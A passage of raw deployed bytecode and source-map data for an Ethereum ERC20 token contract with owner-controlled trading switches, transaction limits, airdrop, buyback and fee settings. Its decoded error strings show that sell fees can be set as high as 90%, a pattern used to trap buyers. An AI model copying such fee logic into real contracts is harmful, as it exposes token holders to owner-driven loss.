65b34801561064c57600080fd5b506103246111a0565b34801561066157600080fd5b5061043d610670366004612bec565b6111af565b34801561068157600080fd5b506103e360195481565b34801561069757600080fd5b506103e360145481565b3480156106ad57600080fd5b506103e3601e5481565b3480156106c357600080fd5b506103926106d23660046129c3565b6112a3565b3480156106e357600080fd5b506103926106f23660046129c3565b61133c565b34801561070357600080fd5b506103e3600f5481565b34801561071957600080fd5b506103e3601f5481565b34801561072f57600080fd5b5061039261073e3660046129ef565b60226020526000908152604090205460ff1681565b34801561075f57600080fd5b50600c5461039290610100900460ff1681565b34801561077e57600080fd5b5061043d61078d366004612bec565b611349565b34801561079e57600080fd5b506011546103929060ff1681565b3480156107b857600080fd5b5061043d6107c7366004612c58565b6113d0565b3480156107d857600080fd5b5061043d611483565b3480156107ed57600080fd5b506103e360165481565b34801561080357600080fd5b506103e3610812366004612c2a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561084957600080fd5b506103e360085481565b34801561085f57600080fd5b506103e3601a5481565b34801561087557600080fd5b506103e3600b5481565b34801561088b57600080fd5b506103e360185481565b3480156108a157600080fd5b5061043d6108b03660046129ef565b6114ee565b3480156108c157600080fd5b506103e3601d5481565b3480156108d757600080fd5b506103e360125481565b3480156108ed57600080fd5b5061043d6108fc366004612c8a565b6115d9565b60606003805461091090612ca3565b80601f016020809104026020016040519081016040528092919081815260200182805461093c90612ca3565b80156109895780601f1061095e57610100808354040283529160200191610989565b820191906000526020600020905b81548152906001019060200180831161096c57829003601f168201915b5050505050905090565b60006109a033848461181d565b50600192915050565b6005546001600160a01b031633146109dc5760405162461bcd60e51b81526004016109d390612cdd565b60405180910390fd5b8051825114610a2d5760405162461bcd60e51b815260206004820152601e60248201527f617272617973206d757374206265207468652073616d65206c656e677468000060448201526064016109d3565b610258825110610a9e5760405162461bcd60e51b815260206004820152603660248201527f43616e206f6e6c792061697264726f70203630302077616c6c657473207065726044820152752074786e2064756520746f20676173206c696d69747360501b60648201526084016109d3565b60005b8251811015610b06576000838281518110610abe57610abe612d12565b602002602001015190506000838381518110610adc57610adc612d12565b60200260200101519050610af1338383611942565b50508080610afe90612d3e565b915050610aa1565b505050565b6000610b18848484611a97565b6001600160a01b038416600090815260016020908152604080832033845290915290205482811015610b9d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109d3565b610baa853385840361181d565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916109a0918590610bec908690612d57565b61181d565b6005546001600160a01b03163314610c1b5760405162461bcd60e51b81526004016109d390612cdd565b600854610c2730610cfa565b1015610c9d576040805162461bcd60e51b81526020600482015260248101919091527f43616e206f6e6c792073776170207768656e20746f6b656e20616d6f756e742060448201527f6973206174206f7220686967686572207468616e207265737472696374696f6e60648201526084016109d3565b6007805460ff60a01b1916600160a01b179055610cb861234a565b6007805460ff60a01b191690556040514281527f1b56c383f4f48fc992e45667ea4eabae777b9cca68b516a9562d8cda78f1bb329060200160405180910390a1565b6001600160a01b031660009081526020819052604090205490565b6005546001600160a01b03163314610d3f5760405162461bcd60e51b81526004016109d390612cdd565b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6005546001600160a01b03163314610db35760405162461bcd60e51b81526004016109d390612cdd565b80610e26576007546001600160a01b0390811690831603610e265760405162461bcd60e51b815260206004820152602760248201527f43616e6e6f742072656d6f766520756e697377617020706169722066726f6d2060448201526636b0bc103a3c3760c91b60648201526084016109d3565b6001600160a01b03919091166000908152602160205260409020805460ff1916911515919091179055565b60006001600160a01b038316610ea95760405162461bcd60e51b815260206004820152601a60248201527f5f746f6b656e20616464726573732063616e6e6f74206265203000000000000060448201526064016109d3565b600a546001600160a01b03163314610efb5760405162461bcd60e51b8152602060048201526015602482015274135d5cdd081d19585b481b595b58995c8818d85b1b605a1b60448201526064016109d3565b306001600160a01b03841603610f535760405162461bcd60e51b815260206004820152601c60248201527f43616e2774207769746864726177206e617469766520746f6b656e730000000060448201526064016109d3565b6040516370a0823160e01b81526001600160a01b038416600482015260009030906370a0823190602401602060405180830381865afa158015610f9a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fbe9190612d6f565b9050610fd8848460085484610fd39190612d88565b611a97565b604080516001600160a01b038616815260208101839052600193507fdeda980967fcead7b61e78ac46a4da14274af29e894d4d61e8b81ec38ab3e438910160405180910390a15092915050565b6005546001600160a01b0316331461104f5760405162461bcd60e51b81526004016109d390612cdd565b600c54610100900460ff16156110a75760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f74207265656e61626c652074726164696e6700000000000000000060448201526064016109d3565b600c805462ffff0019166201010017905543600b556040517fa56feb2d31b9a7424db0be063fd450863979c9e2382cf5110f869bd1ad361bb790600090a1565b6005546001600160a01b031633146111115760405162461bcd60e51b81526004016109d390612cdd565b601784905560188390556019829055601a81905580826111318587612d57565b61113b9190612d57565b6111459190612d57565b6016819055600a101561119a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420313025206f72206c65737300000060448201526064016109d3565b50505050565b60606004805461091090612ca3565b6005546001600160a01b031633146111d95760405162461bcd60e51b81526004016109d390612cdd565b6007546001600160a01b039081169083160361125d5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084016109d3565b6112678282612596565b604051811515906001600160a01b038416907fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab90600090a35050565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156113255760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016109d3565b611332338585840361181d565b5060019392505050565b60006109a0338484611a97565b6005546001600160a01b031633146113735760405162461bcd60e51b81526004016109d390612cdd565b6001600160a01b03821660008181526020808052604091829020805460ff191685151590811790915591519182527f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df7910160405180910390a25050565b6005546001600160a01b031633146113fa5760405162461bcd60e51b81526004016109d390612cdd565b601c849055601d839055601e829055601f819055808261141a8587612d57565b6114249190612d57565b61142e9190612d57565b601b819055600a101561119a5760405162461bcd60e51b815260206004820152601d60248201527f4d757374206b656570206665657320617420393025206f72206c65737300000060448201526064016109d3565b6005546001600160a01b031633146114ad5760405162461bcd60e51b81526004016109d390612cdd565b600c805460ff199081169091556011805490911690556040517fa4ffae85e880608d5d4365c2b682786545d136145537788e7e0940dff9f0b98c90600090a1565b6005546001600160a01b031633146115185760405162461bcd60e51b81526004016109d390612cdd565b6001600160a01b03811661157d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109d3565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6005546001600160a01b031633146116035760405162461bcd60e51b81526004016109d390612cdd565b678ac7230489e800008111156116915760405162461bcd60e51b815260206004820152604760248201527f4d6179206e6f7420627579206d6f7265207468616e2031302045544820696e2060448201527f612073696e676c652062757920746f207265647563652073616e64776963682060648201526661747461636b7360c81b608482015260a4016109d3565b6040805160028082526060820183526000926020830190803683375050600654604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c4648925060048083019260209291908290030181865afa1580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190612d9f565b8160008151811061173257611732612d12565b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061176657611766612d12565b6001600160a01b03928316602091820292909201015260065460405163b6f9de9560e01b815291169063b6f9de959084906117ae90600090869061dead904290600401612e00565b6000604051808303818588803b1580156117c757600080fd5b505af11580156117db573d6000803e3d6000fd5b50505050507fa017c1567cfcdd2d750a8c01e39fe2a846bcebc293c7d078477014d6848205688260405161181191815260200190565b60405180910390a15050565b6001600160a01b03831661187f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109d3565b6001600160a01b0382166118e05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109d3565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119685760405162461bcd60e51b81526004016109d390612e35565b6001600160a01b03821661198e5760405162461bcd60e51b81526004016109d390612e7a565b6001600160a01b03831660009081526020819052604090205481811015611a065760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016109d3565b6001600160a01b03808516600090815260208190526040808220858503905591851681529081208054849290611a3d908490612d57565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a8991815260200190565b60405180910390a350505050565b6001600160a01b038316611abd5760405162461bcd60e51b81526004016109d390612e35565b6001600160a01b038216611ae35760405162461bcd60e51b81526004016109d390612e7a565b60008111611b335760405162461bcd60e51b815260206004820152601d60248201527f616d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064016109d3565b600c54610100900460ff16611bc4576001600160a01b038316600090815260208052604090205460ff1680611b7f57506001600160a01b038216600090815260208052604090205460ff165b611bc45760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016109d3565b600c5460ff1615611fbe576005546001600160a01b03848116911614801590611bfb57506005546001600160a01b03838116911614155b8015611c0f57506001600160a01b03821615155b8015611c2657506001600160a01b03821661dead14155b8015611c4a57506001600160a01b038316600090815260208052604090205460ff16155b8015611c6e57506001600160a01b038216600090815260208052604090205460ff16155b15611fbe5760115460ff1615611d87576006546001600160a01b03838116911614801590611caa57506007546001600160a01b03838116911614155b15611d8757611cba600243612d88565b32600090815260106020526040902054108015611cf85750611cdd600243612d88565b6001600160a01b038316600090815260106020526040902054105b611d625760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016109d3565b3260009081526010602052604080822043908190556001600160a01b03851683529120555b6001600160a01b03831660009081526022602052604090205460ff168015611dc857506001600160a01b03821660009081526021602052604090205460ff16155b15611e9457600d54811115611e305760405162461bcd60e51b815260206004820152602860248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526736b0bc10313abc9760c11b60648201526084016109d3565b600f54611e3c83610cfa565b611e469083612d57565b1115611e8f5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b60448201526064016109d3565b611fbe565b6001600160a01b03821660009081526022602052604090205460ff168015611ed557506001600160a01b03831660009081526021602052604090205460ff16155b15611f3f57600e54811115611e8f5760405162461bcd60e51b815260206004820152602a60248201527f53656c6c207472616e7366657220616d6f756e742065786365656473207468656044820152691036b0bc1039b2b6361760b11b60648201526084016109d3565b6001600160a01b03821660009081526021602052604090205460ff16611fbe57600f54611f6b83610cfa565b611f759083612d57565b1115611fbe5760405162461bcd60e51b815260206004820152601860248201527710d85b9b9bdd08115e18d95959081b585e081dd85b1b195d60421b60448201526064016109d3565b6000611fc930610cfa565b905060006008548210158015611fe0575060085483115b9050808015611ff75750600c5462010000900460ff165b801561200d5750600754600160a01b900460ff16155b801561203257506001600160a01b03851660009081526022602052604090205460ff16155b801561205657506001600160a01b038516600090815260208052604090205460ff16155b801561207a57506001600160a01b038416600090815260208052604090205460ff16155b156120a8576007805460ff60a01b1916600160a01b17905561209a61234a565b6007805460ff60a01b191690555b6001600160a01b038516600090815260208052604090205460019060ff16806120e857506001600160a01b038516600090815260208052604090205460ff165b156120f1575060005b60008115612336576001600160a01b03861660009081526022602052604090205460ff16801561212357506000601b54115b1561220b576064601b54866121389190612ebd565b6121429190612edc565b9050601b54601d54826121559190612ebd565b61215f9190612edc565b601360008282546121709190612d57565b9091555050601b54601c546121859083612ebd565b61218f9190612edc565b601260008282546121a09190612d57565b9091555050601b54601e546121b59083612ebd565b6121bf9190612edc565b601460008282546121d09190612d57565b9091555050601b54601f546121e59083612ebd565b6121ef9190612edc565b601560008282546122009190612d57565b909155506123189050565b6001600160a01b03871660009081526022602052604090205460ff16801561223557506000601654115b156123185760646016548661224a9190612ebd565b6122549190612edc565b9050601654601854826122679190612ebd565b6122719190612edc565b601360008282546122829190612d57565b90915550506016546017546122979083612ebd565b6122a19190612edc565b601260008282546122b29190612d57565b90915550506016546019546122c79083612ebd565b6122d19190612edc565b601460008282546122e29190612d57565b9091555050601654601a546122f79083612ebd565b6123019190612edc565b601560008282546123129190612d57565b90915550505b801561232957612329873083611942565b6123338186612d88565b94505b612341878787611942565b50505050505050565b6000601554118015612366575060155461236330610cfa565b10155b1561237757612377306015546125c4565b6000601581905561238730610cfa565b9050600060145460125460135461239e9190612d57565b6123a89190612d57565b90508115806123b5575080155b156123be575050565b6008546123cc90603c612ebd565b8211156123e4576008546123e190603c612ebd565b91505b600080600283601354866123f89190612ebd565b6124029190612edc565b61240c9190612edc565b905061242061241b8286612d88565b6126ee565b6013544790819060009061243690600290612edc565b6124409087612d88565b60125461244d9085612ebd565b6124579190612edc565b90506000600260135461246a9190612edc565b6124749088612d88565b6014546124819086612ebd565b61248b9190612edc565b90506124978183612d57565b6124a19084612d88565b6000601381905560128190556014819055601555925084158015906124c65750600083115b156124d5576124d58584612848565b600a546040516001600160a01b03909116908290600081818185875af1925050503d8060008114612522576040519150601f19603f3d011682016040523d82523d6000602084013e612527565b606091505b5050809650508561253757600080fd5b6009546040516001600160a01b03909116904790600081818185875af1925050503d8060008114612584576040519150601f19603f3d011682016040523d82523d6000602084013e612589565b606091505b5050505050505050505050565b6001600160a01b0382166000908152602260205260409020805460ff191682151517905561126782826128fa565b6001600160a01b0382166126245760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016109d3565b6001600160a01b038216600090815260208190526040902054818110156126985760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016109d3565b6001600160a01b0383166000818152602081815260408083208686039055600280548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9101611935565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061272357612723612d12565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561277c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127a09190612d9f565b816001815181106127b3576127b3612d12565b6001600160a01b0392831660209182029290920101526006546127d9913091168461181d565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790612812908590600090869030904290600401612efe565b600060405180830381600087803b15801561282c57600080fd5b505af1158015612840573d6000803e3d6000fd5b505050505050565b6006546128609030906001600160a01b03168461181d565b60065460405163f305d71960e01b815230600482015260248101849052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af11580156128ce573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906128f39190612f3a565b5050505050565b6001600160a01b038216600081815260216020908152604091829020805460ff19168515159081179091558251938452908301527f6b4f1be9103e6cbcd38ca4a922334f2c3109b260130a6676a987f94088fd67469101611811565b600060208083528351808285015260005b8181101561298357858101830151858201604001528201612967565b81811115612995576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146129c057600080fd5b50565b600080604083850312156129d657600080fd5b82356129e1816129ab565b946020939093013593505050565b600060208284031215612a0157600080fd5b8135612a0c816129ab565b9392505050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612a5257612a52612a13565b604052919050565b600067ffffffffffffffff821115612a7457612a74612a13565b5060051b60200190565b600082601f830112612a8f57600080fd5b81356020612aa4612a9f83612a5a565b612a29565b82815260059290921b84018101918181019086841115612ac357600080fd5b8286015b84811015612ade5780358352918301918301612ac7565b509695505050505050565b60008060408385031215612afc57600080fd5b823567ffffffffffffffff80821115612b1457600080fd5b818501915085601f830112612b2857600080fd5b81356020612b38612a9f83612a5a565b82815260059290921b84018101918181019089841115612b5757600080fd5b948201945b83861015612b7e578535612b6f816129ab565b82529482019490820190612b5c565b96505086013592505080821115612b9457600080fd5b50612ba185828601612a7e565b9150509250929050565b600080600060608486031215612bc057600080fd5b8335612bcb816129ab565b92506020840135612bdb816129ab565b929592945050506040919091013590565b60008060408385031215612bff57600080fd5b8235612c0a816129ab565b915060208301358015158114612c1f57600080fd5b809150509250929050565b60008060408385031215612c3d57600080fd5b8235612c48816129ab565b91506020830135612c1f816129ab565b60008060008060808587031215612c6e57600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215612c9c57600080fd5b5035919050565b600181811c90821680612cb757607f821691505b602082108103612cd757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201612d5057612d50612d28565b5060010190565b60008219821115612d6a57612d6a612d28565b500190565b600060208284031215612d8157600080fd5b5051919050565b600082821015612d9a57612d9a612d28565b500390565b600060208284031215612db157600080fd5b8151612a0c816129ab565b600081518084526020808501945080840160005b83811015612df55781516001600160a01b031687529582019590820190600101612dd0565b509495945050505050565b848152608060208201526000612e196080830186612dbc565b6001600160a01b03949094166040830152506060015292915050565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6000816000190483118215151615612ed757612ed7612d28565b500290565b600082612ef957634e487b7160e01b600052601260045260246000fd5b500490565b85815284602082015260a060408201526000612f1d60a0830186612dbc565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612f4f57600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220454160eda62a550725b25132751ca52b946978da636b7359ca0e792b444b512c64736f6c634300080f0033

Deployed Bytecode Sourcemap

10193:15990:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4082:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10236:27;;;;;;;;;;-1:-1:-1;10236:27:0;;;;-1:-1:-1;;;;;10236:27:0;;;;;;-1:-1:-1;;;;;798:32:1;;;780:51;;768:2;753:18;10236:27:0;616:221:1;4996:169:0;;;;;;;;;;-1:-1:-1;4996:169:0;;;;;:::i;:::-;;:::i;:::-;;;1463:14:1;;1456:22;1438:41;;1426:2;1411:18;4996:169:0;1298:187:1;11609:64:0;;;;;;;;;;-1:-1:-1;11609:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4403:108;;;;;;;;;;-1:-1:-1;4491:12:0;;4403:108;;;1888:25:1;;;1876:2;1861:18;4403:108:0;1742:177:1;11004:33:0;;;;;;;;;;;;;;;;11078:28;;;;;;;;;;;;;;;;15275:618;;;;;;;;;;-1:-1:-1;15275:618:0;;;;;:::i;:::-;;:::i;:::-;;5173:492;;;;;;;;;;-1:-1:-1;5173:492:0;;;;;:::i;:::-;;:::i;4302:93::-;;;;;;;;;;-1:-1:-1;4302:93:0;;4385:2;5014:36:1;;5002:2;4987:18;4302:93:0;4872:184:1;5673:215:0;;;;;;;;;;-1:-1:-1;5673:215:0;;;;;:::i;:::-;;:::i;10270:21::-;;;;;;;;;;-1:-1:-1;10270:21:0;;;;-1:-1:-1;;;;;10270:21:0;;;10508:33;;;;;;;;;;-1:-1:-1;10508:33:0;;;;;;;;11324:32;;;;;;;;;;;;;;;;23523:312;;;;;;;;;;;;;:::i;11149:31::-;;;;;;;;;;;;;;;;10662:28;;;;;;;;;;;;;;;;11289;;;;;;;;;;;;;;;;10588:31;;;;;;;;;;-1:-1:-1;10588:31:0;;;;;;;;;;;4519:127;;;;;;;;;;-1:-1:-1;4519:127:0;;;;;:::i;:::-;;:::i;8717:150::-;;;;;;;;;;;;;:::i;15901:260::-;;;;;;;;;;-1:-1:-1;15901:260:0;;;;;:::i;:::-;;:::i;22912:559::-;;;;;;;;;;-1:-1:-1;22912:559:0;;;;;:::i;:::-;;:::i;10628:27::-;;;;;;;;;;;;;;;;14592:249;;;;;;;;;;;;;:::i;16720:435::-;;;;;;;;;;-1:-1:-1;16720:435:0;;;;;:::i;:::-;;:::i;8503:79::-;;;;;;;;;;-1:-1:-1;8568:6:0;;-1:-1:-1;;;;;8568:6:0;8503:79;;4190:104;;;;;;;;;;;;;:::i;16169:295::-;;;;;;;;;;-1:-1:-1;16169:295:0;;;;;:::i;:::-;;:::i;11224:24::-;;;;;;;;;;;;;;;;11044:27;;;;;;;;;;;;;;;;11401:25;;;;;;;;;;;;;;;;5896:413;;;;;;;;;;-1:-1:-1;5896:413:0;;;;;:::i;:::-;;:::i;4654:175::-;;;;;;;;;;-1:-1:-1;4654:175:0;;;;;:::i;:::-;;:::i;10697:30::-;;;;;;;;;;;;;;;;11433:26;;;;;;;;;;;;;;;;11831:58;;;;;;;;;;-1:-1:-1;11831:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10548:33;;;;;;;;;;-1:-1:-1;10548:33:0;;;;;;;;;;;17617:182;;;;;;;;;;-1:-1:-1;17617:182:0;;;;;:::i;:::-;;:::i;10915:39::-;;;;;;;;;;-1:-1:-1;10915:39:0;;;;;;;;17163:446;;;;;;;;;;-1:-1:-1;17163:446:0;;;;;:::i;:::-;;:::i;14893:159::-;;;;;;;;;;;;;:::i;11115:27::-;;;;;;;;;;;;;;;;4837:151;;;;;;;;;;-1:-1:-1;4837:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4953:18:0;;;4926:7;4953:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4837:151;10328:33;;;;;;;;;;;;;;;;11255:25;;;;;;;;;;;;;;;;10429:37;;;;;;;;;;;;;;;;11187:30;;;;;;;;;;;;;;;;8875:244;;;;;;;;;;-1:-1:-1;8875:244:0;;;;;:::i;:::-;;:::i;11363:31::-;;;;;;;;;;;;;;;;10963:34;;;;;;;;;;;;;;;;23938:616;;;;;;;;;;-1:-1:-1;23938:616:0;;;;;:::i;:::-;;:::i;4082:100::-;4136:13;4169:5;4162:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4082:100;:::o;4996:169::-;5079:4;5096:39;311:10;5119:7;5128:6;5096:8;:39::i;:::-;-1:-1:-1;5153:4:0;4996:169;;;;:::o;15275:618::-;8630:6;;-1:-1:-1;;;;;8630:6:0;311:10;8630:22;8622:67;;;;-1:-1:-1;;;8622:67:0;;;;;;;:::i;:::-;;;;;;;;;15417:15:::1;:22;15399:7;:14;:40;15391:83;;;::::0;-1:-1:-1;;;15391:83:0;;7606:2:1;15391:83:0::1;::::0;::::1;7588:21:1::0;7645:2;7625:18;;;7618:30;7684:32;7664:18;;;7657:60;7734:18;;15391:83:0::1;7404:354:1::0;15391:83:0::1;15510:3;15493:7;:14;:20;15485:87;;;::::0;-1:-1:-1;;;15485:87:0;;7965:2:1;15485:87:0::1;::::0;::::1;7947:21:1::0;8004:2;7984:18;;;7977:30;8043:34;8023:18;;;8016:62;-1:-1:-1;;;8094:18:1;;;8087:52;8156:19;;15485:87:0::1;7763:418:1::0;15485:87:0::1;15685:9;15681:205;15704:7;:14;15700:1;:18;15681:205;;;15739:14;15756:7;15764:1;15756:10;;;;;;;;:::i;:::-;;;;;;;15739:27;;15781:14;15798:15;15814:1;15798:18;;;;;;;;:::i;:::-;;;;;;;15781:35;;15831:43;15847:10;15859:6;15867;15831:15;:43::i;:::-;15724:162;;15720:3;;;;;:::i;:::-;;;;15681:205;;;;15275:618:::0;;:::o;5173:492::-;5313:4;5330:36;5340:6;5348:9;5359:6;5330:9;:36::i;:::-;-1:-1:-1;;;;;5406:19:0;;5379:24;5406:19;;;:11;:19;;;;;;;;311:10;5406:33;;;;;;;;5458:26;;;;5450:79;;;;-1:-1:-1;;;5450:79:0;;8792:2:1;5450:79:0;;;8774:21:1;8831:2;8811:18;;;8804:30;8870:34;8850:18;;;8843:62;-1:-1:-1;;;8921:18:1;;;8914:38;8969:19;;5450:79:0;8590:404:1;5450:79:0;5565:57;5574:6;311:10;5615:6;5596:16;:25;5565:8;:57::i;:::-;-1:-1:-1;5653:4:0;;5173:492;-1:-1:-1;;;;5173:492:0:o;5673:215::-;311:10;5761:4;5810:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;5810:34:0;;;;;;;;;;5761:4;;5778:80;;5801:7;;5810:47;;5847:10;;5810:47;:::i;:::-;5778:8;:80::i;23523:312::-;8630:6;;-1:-1:-1;;;;;8630:6:0;311:10;8630:22;8622:67;;;;-1:-1:-1;;;8622:67:0;;;;;;;:::i;:::-;23614:18:::1;;23586:24;23604:4;23586:9;:24::i;:::-;:46;;23578:123;;;::::0;;-1:-1:-1;;;23578:123:0;;9334:2:1;23578:123:0::1;::::0;::::1;9316:21:1::0;9353:18;;;9346:30;;;;9412:34;9392:18;;;9385:62;9483:34;9463:18;;;9456:62;9535:19;;23578:123:0::1;9132:428:1::0;23578:123:0::1;23712:8;:15:::0;;-1:-1:-1;;;;23712:15:0::1;-1:-1:-1::0;;;23712:15:0::1;::::0;;23738:10:::1;:8;:10::i;:::-;23759:8;:16:::0;;-1:-1:-1;;;;23759:16:0::1;::::0;;23791:36:::1;::::0;23811:15:::1;1888:25:1::0;;23791:36:0::1;::::0;1876:2:1;1861:18;23791:36:0::1;;;;;;;23523:312::o:0;4519:127::-;-1:-1:-1;;;;;4620:18:0;4593:7;4620:18;;;;;;;;;;;;4519:127::o;8717:150::-;8630:6;;-1:-1:-1;;;;;8630:6:0;311:10;8630:22;8622:67;;;;-1:-1:-1;;;8622:67:0;;;;;;;:::i;:::-;8810:6:::1;::::0;8789:40:::1;::::0;8826:1:::1;::::0;-1:-1:-1;;;;;8810:6:0::1;::::0;8789:40:::1;::::0;8826:1;;8789:40:::1;8840:6;:19:::0;;-1:-1:-1;;;;;;8840:19:0::1;::::0;;8717:150::o;15901:260::-;8630:6;;-1:-1:-1;;;;;8630:6:0;311:10;8630:22;8622:67;;;;-1:-1:-1;;;8622:67:0;;;;;;;:::i;:::-;15997:4:::1;15993:104;;16035:6;::::0;-1:-1:-1;;;;;16035:6:0;;::::1;16025:16:::0;;::::1;::::0;16017:68:::1;;;::::0;-1:-1:-1;;;16017:68:0;;9767:2:1;16017:68:0::1;::::0;::::1;9749:21:1::0;9806:2;9786:18;;;9779:30;9845:34;9825:18;;;9818:62;-1:-1:-1;;;9896:18:1;;;9889:37;9943:19;;16017:68:0::1;9565:403:1::0;16017:68:0::1;-1:-1:-1::0;;;;;16107:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;16107:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;15901:260::o;22912:559::-;22989:10;-1:-1:-1;;;;;23020:20:0;;23012:59;;;;-1:-1:-1;;;23012:59:0;;10175:2:1;23012:59:0;;;10157:21:1;10214:2;10194:18;;;10187:30;10253:28;10233:18;;;10226:56;10299:18;;23012:59:0;9973:350:1;23012:59:0;23104:10;;-1:-1:-1;;;;;23104:10:0;23090;:24;23082:58;;;;-1:-1:-1;;;23082:58:0;;10530:2:1;23082:58:0;;;10512:21:1;10569:2;10549:18;;;10542:30;-1:-1:-1;;;10588:18:1;;;10581:51;10649:18;;23082:58:0;10328:345:1;23082:58:0;23177:4;-1:-1:-1;;;;;23159:23:0;;;23151:64;;;;-1:-1:-1;;;23151:64:0;;10880:2:1;23151:64:0;;;10862:21:1;10919:2;10899:18;;;10892:30;10958;10938:18;;;10931:58;11006:18;;23151:64:0;10678:352:1;23151:64:0;23253:39;;-1:-1:-1;;;23253:39:0;;-1:-1:-1;;;;;798:32:1;;23253:39:0;;;780:51:1;23226:24:0;;23268:4;;23253:31;;753:18:1;;23253:39:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;23226:66;;23303:61;23313:6;23321:3;23345:18;;23326:16;:37;;;;:::i;:::-;23303:9;:61::i;:::-;23394:46;;;-1:-1:-1;;;;;11546:32:1;;11528:51;;11610:2;11595:18;;11588:34;;;23374:4:0;